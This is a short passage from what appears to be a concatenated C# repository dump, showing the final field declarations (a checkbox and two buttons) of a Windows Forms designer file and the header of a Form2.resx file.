222 | private System.Windows.Forms.CheckBox checkBox5;
223 | private System.Windows.Forms.Button button3;
224 | private System.Windows.Forms.Button button4;
225 | }
226 | }
227 |
228 |
--------------------------------------------------------------------------------
/source/Form2.resx:
--------------------------------------------------------------------------------
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